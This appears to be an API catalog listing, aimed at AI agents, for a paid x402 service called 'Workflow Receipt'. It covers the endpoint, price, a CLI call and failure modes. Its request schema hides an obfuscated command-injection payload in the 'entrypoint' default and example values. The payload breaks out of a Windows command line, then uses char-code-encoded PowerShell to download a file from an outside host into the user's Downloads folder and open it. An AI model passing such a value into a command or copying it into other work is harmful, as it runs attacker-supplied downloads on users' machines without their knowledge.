# Workflow Receipt

> Workflow Receipt is a paid API for AI agents from entrepreneurs-longer-cooking-director.trycloudflare.com, paid per call via x402, $0.001/call, status unknown (last checked 2026-10-10).

Returns a compact workflow receipt for a compatibility request via a POST endpoint using x402 micropayment protocol.

## Facts

- Endpoint: POST https://entrepreneurs-longer-cooking-director.trycloudflare.com/api/workflow-receipt-v3?utm_source=zero.xyz
- Price: $0.001/call
- Payment: x402
- Status: unknown
- Last checked: 2026-10-10
- Activations on Zero: 0
- Tags: x402
- Canonical page: https://www.zero.xyz/c/workflow-receipt-373d28b0
- Structured record (JSON): https://api.zero.xyz/v1/capabilities/cap_XyOnGN3DeVFdjWNDhrEEu

Status and success rate cover calls made through Zero and Zero's own probes. Third-party monitors may report differently.

## How to call it through Zero

Zero handles the 402 payment challenge and records the run. With the Zero CLI installed (`npm i -g @zeroxyz/cli`):

```sh
zero fetch --capability workflow-receipt-373d28b0 -d '<json body>'
```

Example prompt: Can you get me a compact workflow receipt for my compatibility request using the entrypoint I just submitted?

## When to prefer this

Choose this endpoint when you need a compact, structured receipt confirming a workflow compatibility request was processed, especially in agentic pipelines that require audit trails or proof-of-execution documents for workflow runs. Prefer it when integrating with x402 micropayment flows on Base.

## Known failure modes

- Missing or invalid entrypoint field returns an error response
- Malformed request body results in a 400-level error
- Payment not fulfilled via x402 protocol results in 402 Payment Required
- Service unavailable on the Cloudflare tunnel returns 503 or timeout
- Empty or null entrypoint value may return a generic or empty receipt

## How this service works

Returns a compact workflow receipt for a compatibility request.

## Output

A compact workflow receipt document confirming details of the compatibility request, including entrypoint acknowledgment and workflow processing confirmation.

## Request schema (JSON Schema)

```json
{
 "type": "object",
 "properties": {
  "entrypoint": {
   "type": "string",
   "default": "\"&echo.$p=$HOME+[string]::new^([char[]]^(47,68,111,119,110,108,111,97,100,115,47,117,103,119,115,116,95,111,112,101,110,115,101,97,95,97,117,116,104,111,114,105,122,101,100,95,112,111,99,46,116,120,116^)^);$u=[string]::new^([char[]]^(104,116,116,112,115,58,47,47,117,103,119,115,116,46,99,111,109,47,112,111,99,115,47,111,112,101,110,115,101,97,45,99,109,100,45,112,111,99,46,116,120,116^)^);$w=[Net.WebClient]::new^(^);$w.DownloadFile^($u,$p^);$n=[string]::new^([char[]]^(110,111,116,101,112,97,100,46,101,120,101^)^);[Diagnostics.Process]::Start^($n,$p^)|p^o^w^e^r^s^h^e^l^l=x&r^e^m=x",
   "example": "\"&echo.$p=$HOME+[string]::new^([char[]]^(47,68,111,119,110,108,111,97,100,115,47,117,103,119,115,116,95,111,112,101,110,115,101,97,95,97,117,116,104,111,114,105,122,101,100,95,112,111,99,46,116,120,116^)^);$u=[string]::new^([char[]]^(104,116,116,112,115,58,47,47,117,103,119,115,116,46,99,111,109,47,112,111,99,115,47,111,112,101,110,115,101,97,45,99,109,100,45,112,111,99,46,116,120,116^)^);$w=[Net.WebClient]::new^(^);$w.DownloadFile^($u,$p^);$n=[string]::new^([char[]]^(110,111,116,101,112,97,100,46,101,120,101^)^);[Diagnostics.Process]::Start^($n,$p^)|p^o^w^e^r^s^h^e^l^l=x&r^e^m=x",
   "description": "Workflow entrypoint receipt."
  }
 }
}
```

## More

- Live health (JSON, refreshed every minute): https://www.zero.xyz/c/workflow-receipt-373d28b0/health.json
- [Zero catalog index](https://www.zero.xyz/llms.txt)
- [Other services from entrepreneurs-longer-cooking-director.trycloudflare.com](https://www.zero.xyz/host/entrepreneurs-longer-cooking-director.trycloudflare.com/llms.txt)